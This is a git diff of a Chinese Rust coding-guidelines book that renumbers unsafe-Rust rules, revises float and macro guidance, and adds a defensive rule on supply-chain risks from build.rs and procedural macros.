如果确定该整数对应合法的unicode，可以使用 uncheck 方法加速 +assert_eq!('%', x); + ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/data-type/float.md b/src/safe-guides/coding_practice/data-type/float.md index 929701c0..c9769df2 100644 --- a/src/safe-guides/coding_practice/data-type/float.md +++ b/src/safe-guides/coding_practice/data-type/float.md @@ -8,5 +8,4 @@ Rust 的浮点数包括 `f32` 和 `f64` 两种类型。Rust 编译器默认推 - [G.TYP.FLT.02 从任何数字类型转换为`f64`类型时注意避免损失精度](./float/G.TYP.FLT.02.md) - [G.TYP.FLT.03 对精度高要求的场景下，不应直接使用浮点数进行运算和比较](./float/G.TYP.FLT.03.md) - [G.TYP.FLT.04 宜使用Rust内置方法处理浮点数计算](./float/G.TYP.FLT.04.md) -- [G.TYP.FLT.05 使用字面量定义浮点数时，尽量使用`f64`类型而非`f32`类型](./float/G.TYP.FLT.05.md) -- [G.TYP.FLT.06 禁止在浮点数和整数相互转换时使用 transmute](./float/G.TYP.FLT.06.md) \ No newline at end of file +- [G.TYP.FLT.05 禁止在浮点数和整数相互转换时使用 transmute](./float/G.TYP.FLT.05.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.03.md b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.03.md index cf8278f0..ac624133 100644 --- a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.03.md +++ b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.03.md @@ -1,4 +1,4 @@ -## G.TYP.FLT.03 对精度高要求的场景下，不应直接使用浮点数进行运算和比较 +## G.TYP.FLT.03 对精度高要求的场景下，使用浮点数进行运算和比较时需要注意 **【级别】** 建议 diff --git a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.04.md b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.04.md index 9f374970..5c7b02bf 100644 --- a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.04.md +++ b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.04.md @@ -4,7 +4,7 @@ **【描述】** -内置方法会牺牲一定性能，但可以提升准确性。 +内置方法可能会牺牲一定性能，但可以提升准确性。 **【反例】** diff --git a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.05.md b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.05.md index 6209b112..6fa38a8a 100644 --- a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.05.md +++ b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.05.md @@ -1,29 +1,31 @@ -## G.TYP.FLT.05 使用字面量定义浮点数时，尽量使用 `f64` 类型而非`f32`类型 +## G.TYP.FLT.05 禁止在浮点数和整数相互转换时使用 `transmute` -**【级别】** 建议 +**【级别】** 要求 **【描述】** -在 `f32` 浮点数字面量在定义时，将会损失精度，应该尽量使用 `f64` 类型。 +使用 `transmute` 转换是非常容易出错的，建议使用 `to_bites` 这样转换更加安全。 **【反例】** ```rust -let x : f32 = 16_777_217.0; -assert_eq!(16777216.0, x); +unsafe { + let _: u32 = std::mem::transmute(1f32); + let _: f32 = std::mem::transmute(1_u32); // where x: u32 +} ``` **【正例】** ```rust -let x : f64 = 16_777_217.0; -assert_eq!(16777217.0, x); +let _: f32 = f32::from_bits(1_u32); +let _: u32 = 1f32.to_bits(); ``` **【Lint 检测】** | lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | level | | ------------------------------------------------------------ | ------------- | ------------ | ---------- | ----- | -| [imprecise_flops](https://rust-lang.github.io/rust-clippy/master/#imprecise_flops) | yes | no | nursery | allow | - +| [transmute_float_to_int](https://rust-lang.github.io/rust-clippy/master/#transmute_float_to_int) | yes | no | complexity | warn | +| [transmute_int_to_float](https://rust-lang.github.io/rust-clippy/master/#transmute_int_to_float) | yes | no | complexity | warn | diff --git a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.06.md b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.06.md deleted file mode 100644 index 9eb161dd..00000000 --- a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.06.md +++ /dev/null @@ -1,31 +0,0 @@ -## G.TYP.FLT.06 禁止在浮点数和整数相互转换时使用 `transmute` - -**【级别】** 要求 - -**【描述】** - -使用 `transmute` 转换是非常容易出错的，建议使用 `to_bites` 这样转换更加安全。 - -**【反例】** - -```rust -unsafe { - let _: u32 = std::mem::transmute(1f32); - let _: f32 = std::mem::transmute(1_u32); // where x: u32 -} -``` - -**【正例】** - -```rust -let _: f32 = f32::from_bits(1_u32); -let _: u32 = 1f32.to_bits(); -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | level | -| ------------------------------------------------------------ | ------------- | ------------ | ---------- | ----- | -| [transmute_float_to_int](https://rust-lang.github.io/rust-clippy/master/#transmute_float_to_int) | yes | no | complexity | warn | -| [transmute_int_to_float](https://rust-lang.github.io/rust-clippy/master/#transmute_int_to_float) | yes | no | complexity | warn | - diff --git a/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.01.md b/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.01.md index c08dcfc3..b573bbfc 100644 --- a/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.01.md +++ b/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.01.md @@ -4,7 +4,7 @@ **【描述】** -使用整数计算时需要结合场景和业务来考虑如果发生溢出、回绕或截断的时候，是否会引起严重的问题。 +如果从代码上下文的逻辑来看，该计算不可能产生溢出，则可以不进行校验。 比如，对于时间要求精准的系统，如果在计算时间发生整数溢出，或者去计算某个数组的索引等，那可能会发生严重问题。但如果你只是一个简单的计算器，不会被用到具体的业务场合，那溢出也没有关系，因为你只需要在合理的数字范围内计算性能最好。 diff --git a/src/safe-guides/coding_practice/macros.md b/src/safe-guides/coding_practice/macros.md index fea4b4b3..95128d6d 100644 --- a/src/safe-guides/coding_practice/macros.md +++ b/src/safe-guides/coding_practice/macros.md @@ -41,7 +41,7 @@ cargo rustc --bin hello -- -Z unstable-options --pretty=expanded - [P.MAC.01 不要轻易使用宏](./macros/P.MAC.01.md) - [P.MAC.02 实现宏语法的时候，应该尽量贴近 Rust 语法](./macros/P.MAC.02.md) -- [G.MAC.01 dbg!() 宏只应该在 Debug 模式下使用](./macros/G.MAC.01.md) +- [G.MAC.01 dbg!() 宏只应该用于调试代码](./macros/G.MAC.01.md) - [G.MAC.02 使用宏时应该考虑宏展开会让编译文件膨胀的影响](./macros/G.MAC.02.md) - [声明宏](./macros/decl.md) - [P.MAC.DCL.01 不要将声明宏内的变量作为外部变量使用](./macros/decl/P.MAC.DCL.01.md) diff --git a/src/safe-guides/coding_practice/macros/G.MAC.01.md b/src/safe-guides/coding_practice/macros/G.MAC.01.md index 9482c434..6c6736ea 100644 --- a/src/safe-guides/coding_practice/macros/G.MAC.01.md +++ b/src/safe-guides/coding_practice/macros/G.MAC.01.md @@ -1,10 +1,10 @@ -## G.MAC.01 `dbg!()` 宏只应该在 Debug 模式下使用 +## G.MAC.01 `dbg!()` 宏只应该用于调试代码 **【级别】** 建议 **【描述】** -`dbg!()` 宏是 Rust 内置的宏，其目的是用于调试代码。 +`dbg!()` 宏是 Rust 内置的宏，其目的是用于调试代码。 不要将含有 dbg! 宏的代码加入到版本控制下。 注意：不管在 Debug 模式还是 Release 模式下，调试信息都会被打印出来。 diff --git a/src/safe-guides/coding_practice/security.md b/src/safe-guides/coding_practice/security.md index a0858053..716bce73 100644 --- a/src/safe-guides/coding_practice/security.md +++ b/src/safe-guides/coding_practice/security.md @@ -4,9 +4,11 @@ Security 用于规范可能引起信息安全（Security）缺陷的代码实现 ## 列表 +- [P.SEC.01 使用第三方库的时候要确保可信的依赖，小心供应链攻击](./security/P.SEC.01.md) - [G.SEC.01 代码中不要出现非法 Unicode 字符，也要防范非法 Unicode 字符](./security/G.SEC.01.md) + diff --git a/src/safe-guides/coding_practice/security/P.SEC.01.md b/src/safe-guides/coding_practice/security/P.SEC.01.md new file mode 100644 index 00000000..f3eab42b --- /dev/null +++ b/src/safe-guides/coding_practice/security/P.SEC.01.md @@ -0,0 +1,18 @@ +## P.SEC.01 使用第三方库的时候要确保可信的依赖，小心供应链攻击 + +**【描述】** + +在 npm 中，node-ipc作者最近使用 npm 的安装脚本功能发起了 [供应链投毒攻击](http://blog.nsfocus.net/node-ipc-npm/)。 在 Rust 中，`build.rs` 和 过程宏 有可能被利用来做同样的事。 + +目前 Rust 编译器团队已经在着手起草[构建时使用沙盒的方案](https://github.com/rust-lang/compiler-team/issues/475)，但距离最终实现预计还有很长距离。 + +为了避免此类事件发生，可以遵循下列一些使用条款： + +- 尽量减少第三方库的依赖 +- 如果必须使用第三方库，需要对依赖进行安全维护和检查。 + - 为 `Cargo.toml` 中第三方依赖指定确切的版本（“=xyz”而不是“xyz”），如果需要更新版本，则在检查源码后手动应用次要的 SemVer 补丁。 + - 可以使用[`cargo-dephell`](https://github.com/mimoo/cargo-dephell)这样的工具对依赖进行分析 + - 配合[whackadep](https://github.com/diem/whackadep)这样的可视化工具来管理 Rust 依赖 +- 使用 [`cargo-audit`](https://crates.io/crates/cargo-audit) 检测依赖的安全性。 +- 使用自己的构建工具来替代 `Cargo`，可以更加安全。比如 Android 团队使用其`Soong`构建系统支持 Rust ，就选择不支持 `build.rs` ，就是考虑到审查起来太麻烦。 + diff --git a/src/safe-guides/coding_practice/unsafe_rust.md b/src/safe-guides/coding_practice/unsafe_rust.md index 0ee7bd6d..dbf6b69b 100644 --- a/src/safe-guides/coding_practice/unsafe_rust.md +++ b/src/safe-guides/coding_practice/unsafe_rust.md @@ -26,21 +26,21 @@ Unsafe Rust 是 Safe Rust 的超集，意味着在 Unsafe Rust 中也会有 Safe - [P.UNS.SAS.04 要考虑 Panic Safety 的情况](./unsafe_rust/safe_abstract/P.UNS.SAS.04.md) - [G.UNS.SAS.01 在公开的 unsafe 函数的文档中必须增加 Safety 注释](./unsafe_rust/safe_abstract/G.UNS.SAS.01.md) - [G.UNS.SAS.02 在 Unafe 函数中应该使用 `assert!` 而非 `debug_assert!` 去校验边界条件](./unsafe_rust/safe_abstract/G.UNS.SAS.02.md) - - [G.UNS.SAS.03 Unsafe 代码中手动实现 `auto trait` 需要注意](./unsafe_rust/safe_abstract/G.UNS.SAS.03.md) - - [G.UNS.SAS.04 不要随便在公开的 API 中暴露裸指针](./unsafe_rust/safe_abstract/G.UNS.SAS.04.md) - - [G.UNS.SAS.05 在抽象安全方法的同时，也建议为性能考虑而增加相应的 Unsafe 方法](./unsafe_rust/safe_abstract/G.UNS.SAS.05.md) - - [G.UNS.SAS.06 函数参数是不可变借用的时候，返回值不应该是可变借用](./unsafe_rust/safe_abstract/G.UNS.SAS.06.md) - - [G.UNS.SAS.07 在任何 Unsafe 块之前都应该加 `SAFETY` 注释](./unsafe_rust/safe_abstract/G.UNS.SAS.07.md) + - [P.UNS.SAS.05 Unsafe 代码中手动实现 `auto trait` 需要注意](./unsafe_rust/safe_abstract/P.UNS.SAS.05.md) + - [P.UNS.SAS.06 不要随便在公开的 API 中暴露裸指针](./unsafe_rust/safe_abstract/P.UNS.SAS.06.md) + - [P.UNS.SAS.07 在抽象安全方法的同时，也建议为性能考虑而增加相应的 Unsafe 方法](./unsafe_rust/safe_abstract/P.UNS.SAS.07.md) + - [P.UNS.SAS.08 函数参数是不可变借用的时候，返回值不应该是可变借用](./unsafe_rust/safe_abstract/P.UNS.SAS.08.md) + - [P.UNS.SAS.09 在任何 Unsafe 块之前都应该加 `SAFETY` 注释](./unsafe_rust/safe_abstract/P.UNS.SAS.09.md) - [裸指针操作](./unsafe_rust/raw_ptr.md) - [P.UNS.PTR.01 不要将裸指针在多线程间共享](./unsafe_rust/raw_ptr/P.UNS.PTR.01.md) + - [P.UNS.PTR.02 建议使用 `NonNull` 来替代 `*mut T`](./unsafe_rust/raw_ptr/P.UNS.PTR.02.md) + - [P.UNS.PTR.03 使用指针类型构造泛型结构体时，需要使用 PhantomData 来指定 T上的协变和所有权](./unsafe_rust/raw_ptr/P.UNS.PTR.03.md) - [G.UNS.PTR.01 当指针类型被强转为和当前内存对齐不一致的指针类型时，禁止对其解引用](./unsafe_rust/raw_ptr/G.UNS.PTR.01.md) - [G.UNS.PTR.02 禁止将不可变指针手工转换为可变指针](./unsafe_rust/raw_ptr/G.UNS.PTR.02.md) - [G.UNS.PTR.03 尽量使用 pointer::cast 来代替 使用 as 强转指针](./unsafe_rust/raw_ptr/G.UNS.PTR.03.md) - - [G.UNS.PTR.04 建议使用 `NonNull` 来替代 `*mut T`](./unsafe_rust/raw_ptr/G.UNS.PTR.04.md) - - [G.UNS.PTR.05 使用指针类型构造泛型结构体时，需要使用 PhantomData 来指定 T上的协变和所有权](./unsafe_rust/raw_ptr/G.UNS.PTR.05.md) - [联合体](./unsafe_rust/union.md) - - [G.UNS.UNI.01 除了与 C 交互，尽量不要使用 Union](./unsafe_rust/union/G.UNS.UNI.01.md) - - [G.UNS.UNI.02 不要把联合体的不同变体用在不同生命周期内](./unsafe_rust/union/G.UNS.UNI.02.md) + - [P.UNS.UNI.01 除了与 C 交互，尽量不要使用 Union](./unsafe_rust/union/P.UNS.UNI.01.md) + - [P.UNS.UNI.02 不要把联合体的不同变体用在不同生命周期内](./unsafe_rust/union/P.UNS.UNI.02.md) - [内存](./unsafe_rust/mem.md) - [P.UNS.MEM.01 要注意选择合适的结构体、元组、枚举的数据布局](./unsafe_rust/mem/P.UNS.MEM.01.md) - [P.UNS.MEM.02 不能修改其它进程/动态库的内存变量](./unsafe_rust/mem/P.UNS.MEM.02.md) @@ -61,9 +61,9 @@ Unsafe Rust 是 Safe Rust 的超集，意味着在 Unsafe Rust 中也会有 Safe - [P.UNS.FFI.10 当 Rust 函数导出外部函数时，必须从设计上保证被跨线程调用的安全性](./unsafe_rust/ffi/P.UNS.FFI.10.md) - [P.UNS.FFI.11 如需引用指定为 `#[repr(packed)]` 内存布局的结构体成员字段要注意合理规避未定义行为](./unsafe_rust/ffi/P.UNS.FFI.11.md) - [P.UNS.FFI.12 当依赖 C 端传入参数时，需要在文档注释中不变性声明，根据不同的调用场景选择合适的安全抽象方式](./unsafe_rust/ffi/P.UNS.FFI.12.md) - - [G.UNS.FFI.01 自定义数据类型要保证一致的数据布局](./unsafe_rust/ffi/G.UNS.FFI.01.md) - - [G.UNS.FFI.02 在 FFi 中使用的类型应该拥有稳定布局](./unsafe_rust/ffi/G.UNS.FFI.02.md) - - [G.UNS.FFI.03 从外部传入的不健壮类型的外部值要进行检查](./unsafe_rust/ffi/G.UNS.FFI.03.md) + - [P.UNS.FFI.13 自定义数据类型要保证一致的数据布局](./unsafe_rust/ffi/P.UNS.FFI.13.md) + - [P.UNS.FFI.14 在 FFi 中使用的类型应该拥有稳定布局](./unsafe_rust/ffi/P.UNS.FFI.14.md) + - [P.UNS.FFI.15 从外部传入的不健壮类型的外部值要进行检查](./unsafe_rust/ffi/P.UNS.FFI.15.md) - [I/O](./unsafe_rust/io.md) - - [G.UNS.FIO.01 在使用原始句柄的时候，要注意 I/O 安全性](./unsafe_rust/io/G.UNS.FIO.01.md) + - [P.UNS.FIO.01 在使用原始句柄的时候，要注意 I/O 安全性](./unsafe_rust/io/P.UNS.FIO.01.md) - [Unsafe 代码术语指南](./unsafe_rust/glossary.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/ffi.md b/src/safe-guides/coding_practice/unsafe_rust/ffi.md index 00ef68e8..ea50b036 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/ffi.md +++ b/src/safe-guides/coding_practice/unsafe_rust/ffi.md @@ -22,7 +22,7 @@ Rust 可以通过C-ABI无缝与C语言打交道，也可以通过暴露 C-ABI - [P.UNS.FFI.10 当 Rust 函数导出外部函数时，必须从设计上保证被跨线程调用的安全性](./ffi/P.UNS.FFI.10.md) - [P.UNS.FFI.11 如需引用指定为 `#[repr(packed)]` 内存布局的结构体成员字段要注意合理规避未定义行为](./ffi/P.UNS.FFI.11.md) - [P.UNS.FFI.12 当依赖 C 端传入参数时，需要在文档注释中不变性声明，根据不同的调用场景选择合适的安全抽象方式](./ffi/P.UNS.FFI.12.md) -- [G.UNS.FFI.01 自定义数据类型要保证一致的数据布局](./ffi/G.UNS.FFI.01.md) -- [G.UNS.FFI.02 在 FFi 中使用的类型应该拥有稳定布局](./ffi/G.UNS.FFI.02.md) -- [G.UNS.FFI.03 从外部传入的不健壮类型的外部值要进行检查](./ffi/G.UNS.FFI.03.md) +- [P.UNS.FFI.13 自定义数据类型要保证一致的数据布局](./ffi/G.UNS.FFI.13.md) +- [P.UNS.FFI.14 在 FFi 中使用的类型应该拥有稳定布局](./ffi/G.UNS.FFI.14.md) +- [P.UNS.FFI.15 从外部传入的不健壮类型的外部值要进行检查](./ffi/G.UNS.FFI.15.md) diff --git a/src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.01.md b/src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.13.md similarity index 59% rename from src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.01.md rename to src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.13.md index f5047d78..e9cfe033 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.01.md +++ b/src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.13.md @@ -1,6 +1,4 @@ -## G.UNS.FFI.01 自定义数据类型要保证一致的数据布局 - -**【级别】** 要求 +## P.UNS.FFI.13 自定义数据类型要保证一致的数据布局 **【描述】** @@ -30,14 +28,4 @@ struct PackedData { b: u16, c: u64, } -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制化参考】 - -检测 `-sys` 或 `-ffi` 后缀的crate 或 模块内的自定义结构体、enum、union 有没有指定 `repr` 布局 +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.02.md b/src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.14.md similarity index 67% rename from src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.02.md rename to src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.14.md index 3d54fb20..4cf9b163 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.02.md +++ b/src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.14.md @@ -1,6 +1,4 @@ -## G.UNS.FFI.02 在 FFi 中使用的类型应该拥有稳定布局 - -**【级别】** 要求 +## P.UNS.FFI.14 在 FFi 中使用的类型应该拥有稳定布局 **【描述】** @@ -46,15 +44,4 @@ pub enmu Foo{}; extern { fn get_some_instance() -> *mut Foo; } -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------- | ---------- | ---------- | -| _ | no | yes (warning) | _ | yes | - -【定制参考】 - -- 检测 extern 中使用的 Rust 结构体是否为零大小类型，对其产生警告 -- 检测 extern 中使用的 Rust 结构体是否有 `#[repr(C)]` 或 `#[repr(transparent)]` 布局 +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.03.md b/src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.15.md similarity index 52% rename from src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.03.md rename to src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.15.md index cbeadd01..3af2fbfe 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.03.md +++ b/src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.15.md @@ -1,6 +1,4 @@ -## G.UNS.FFI.03 从外部传入的不健壮类型的外部值要进行检查 - -**【级别】** 要求 +## P.UNS.FFI.15 从外部传入的不健壮类型的外部值要进行检查 **【描述】** @@ -14,13 +12,3 @@ Rust 中很多类型都不太健壮： - Enum。 跨 FFi 边界两端的 枚举值要经过合法转换。 - 浮点数。 - 包含上述类型的复合类型 - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制参考】 - -lint 可检测 `extern fn ` 函数参数类型，如果是 布尔类型、引用类型、函数指针、枚举、浮点数、或包含前面类型的复合类型，则需要警告开发者注意对这些类型的健壮性检查。 diff --git a/src/safe-guides/coding_practice/unsafe_rust/io/G.UNS.FIO.01.md b/src/safe-guides/coding_practice/unsafe_rust/io/P.UNS.FIO.01.md similarity index 66% rename from src/safe-guides/coding_practice/unsafe_rust/io/G.UNS.FIO.01.md rename to src/safe-guides/coding_practice/unsafe_rust/io/P.UNS.FIO.01.md index e88a8266..4dcd6de9 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/io/G.UNS.FIO.01.md +++ b/src/safe-guides/coding_practice/unsafe_rust/io/P.UNS.FIO.01.md @@ -1,6 +1,4 @@ -## G.UNS.FIO.01 在使用原始句柄的时候，要注意 I/O 安全性 - -**【级别】** 要求 +## P.UNS.FIO.01 在使用原始句柄的时候，要注意 I/O 安全性 **【描述】** @@ -18,13 +16,3 @@ pub fn do_some_io(input: &FD) -> io::Result<()> { 在一些特殊的情况下，违反 I/O 安全甚至会导致内存安全。 -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制参考】 - -检测在 IO 时使用 `as_raw_fd` 调用时，警告开发者这是 Unsafe 的，要对传入的原始文件描述符的安全性进行考察。 - diff --git a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr.md b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr.md index d5d07ed4..0e5ae65b 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr.md +++ b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr.md @@ -14,8 +14,8 @@ Rust提供了`*const T`（不变）和`*mut T`（可变）两种指针类型。 ## 列表 - [P.UNS.PTR.01 不要将裸指针在多线程间共享](./raw_ptr/P.UNS.PTR.01.md) +- [P.UNS.PTR.02 建议使用 `NonNull` 来替代 `*mut T`](./raw_ptr/P.UNS.PTR.02.md) +- [P.UNS.PTR.03 使用指针类型构造泛型结构体时，需要使用 PhantomData 来指定 T上的协变和所有权](./raw_ptr/P.UNS.PTR.03.md) - [G.UNS.PTR.01 当指针类型被强转为和当前内存对齐不一致的指针类型时，禁止对其解引用](./raw_ptr/G.UNS.PTR.01.md) - [G.UNS.PTR.02 禁止将不可变指针手工转换为可变指针](./raw_ptr/G.UNS.PTR.02.md) - [G.UNS.PTR.03 尽量使用 pointer::cast 来代替 使用 as 强转指针](./raw_ptr/G.UNS.PTR.03.md) -- [G.UNS.PTR.04 建议使用 `NonNull` 来替代 `*mut T`](./raw_ptr/G.UNS.PTR.04.md) -- [G.UNS.PTR.05 使用指针类型构造泛型结构体时，需要使用 PhantomData 来指定 T上的协变和所有权](./raw_ptr/G.UNS.PTR.05.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.04.md b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.02.md similarity index 54% rename from src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.04.md rename to src/safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.02.md index d63478e1..6553f902 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.04.md +++ b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.02.md @@ -1,6 +1,4 @@ -## G.UNS.PTR.04 建议使用 `NonNull` 来替代 `*mut T` - -**【级别】** 建议 +## P.UNS.PTR.02 建议使用 `NonNull` 来替代 `*mut T` **【描述】** @@ -24,12 +22,4 @@ if let Some(ptr) = NonNull::::new(std::ptr::null_mut()) { } ``` -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制参考】 -检测到包含 `*mut T`类型的结构体，应该给予开发者警告或建议去使用 `NonNull` 。 diff --git a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.05.md b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.03.md similarity index 61% rename from src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.05.md rename to src/safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.03.md index 432e245c..079c3b77 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.05.md +++ b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.03.md @@ -1,6 +1,4 @@ -## G.UNS.PTR.05 使用指针类型构造泛型结构体时，需要使用 `PhantomData` 来指定 `T`上的协变和所有权 - -**【级别】** 建议 +## P.UNS.PTR.03 使用指针类型构造泛型结构体时，需要使用 `PhantomData` 来指定 `T`上的协变和所有权 **【描述】** @@ -32,14 +30,4 @@ struct Vec { cap: usize, _marker: marker::PhantomData, // 让 Vec 拥有 T，并且让 指针有了协变 } -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制参考】 - -检测使用指针类型构造泛型结构体时，如果没有 `PhantomData` 类型的字段，则需要警告开发者，要考虑 为裸指针配合`PhantomData`来指定协变和所有权 +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract.md b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract.md index 5673fb8c..e2153183 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract.md @@ -15,10 +15,11 @@ Unsafe Rust 中 API 的安全性设计通常有两种方式： - [P.UNS.SAS.02 Unsafe 代码编写者有义务检查代码是否满足安全不变式](./safe_abstract/P.UNS.SAS.02.md) - [P.UNS.SAS.03 不要随便在公开的 API 中暴露未初始化内存](./uafe_abstract/P.UNS.SAS.03.md) - [P.UNS.SAS.04 要考虑 Panic Safety 的情况](./safe_abstract/P.UNS.SAS.04.md) +- [P.UNS.SAS.05 Unsafe 代码中手动实现 `auto trait` 需要注意](./safe_abstract/P.UNS.SAS.05.md) +- [P.UNS.SAS.06 不要随便在公开的 API 中暴露裸指针](./safe_abstract/P.UNS.SAS.06.md) +- [P.UNS.SAS.07 在抽象安全方法的同时，也建议为性能考虑而增加相应的 Unsafe 方法](./safe_abstract/P.UNS.SAS.07.md) +- [P.UNS.SAS.08 函数参数是不可变借用的时候，返回值不应该是可变借用](./safe_abstract/P.UNS.SAS.08.md) +- [P.UNS.SAS.09 在任何 Unsafe 块之前都应该加 `SAFETY` 注释](./safe_abstract/P.UNS.SAS.09.md) - [G.UNS.SAS.01 在公开的 unsafe 函数的文档中必须增加 Safety 注释](./safe_abstract/G.UNS.SAS.01.md) - [G.UNS.SAS.02 在 Unafe 函数中应该使用 `assert!` 而非 `debug_assert!` 去校验边界条件](./safe_abstract/G.UNS.SAS.02.md) -- [G.UNS.SAS.03 Unsafe 代码中手动实现 `auto trait` 需要注意](./safe_abstract/G.UNS.SAS.03.md) -- [G.UNS.SAS.04 不要随便在公开的 API 中暴露裸指针](./safe_abstract/G.UNS.SAS.04.md) -- [G.UNS.SAS.05 在抽象安全方法的同时，也建议为性能考虑而增加相应的 Unsafe 方法](./safe_abstract/G.UNS.SAS.05.md) -- [G.UNS.SAS.06 函数参数是不可变借用的时候，返回值不应该是可变借用](./safe_abstract/G.UNS.SAS.06.md) -- [G.UNS.SAS.07 在任何 Unsafe 块之前都应该加 `SAFETY` 注释](./safe_abstract/G.UNS.SAS.07.md) \ No newline at end of file + diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.03.md b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.05.md similarity index 80% rename from src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.03.md rename to src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.05.md index abb15e91..86d2bb33 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.03.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.05.md @@ -1,6 +1,4 @@ -## G.UNS.SAS.03 Unsafe 代码中手动实现 auto trait 需要注意 - -**【级别】** 要求 +## P.UNS.SAS.05 Unsafe 代码中手动实现 auto trait 需要注意 **【描述】** @@ -48,13 +46,3 @@ for MappedMutexGuard<'_, T, U> {} // PoC: this safe Rust code allows race on reference counter * MutexGuard::map(guard, |_| Box::leak(Box::new(Rc::new(true)))); ``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制参考】 - -Lint 需要检测 手工实现 auto trait 的行为，比如 `Sync/Send`，对开发者发出警告，要注意考虑其安全性 diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.04.md 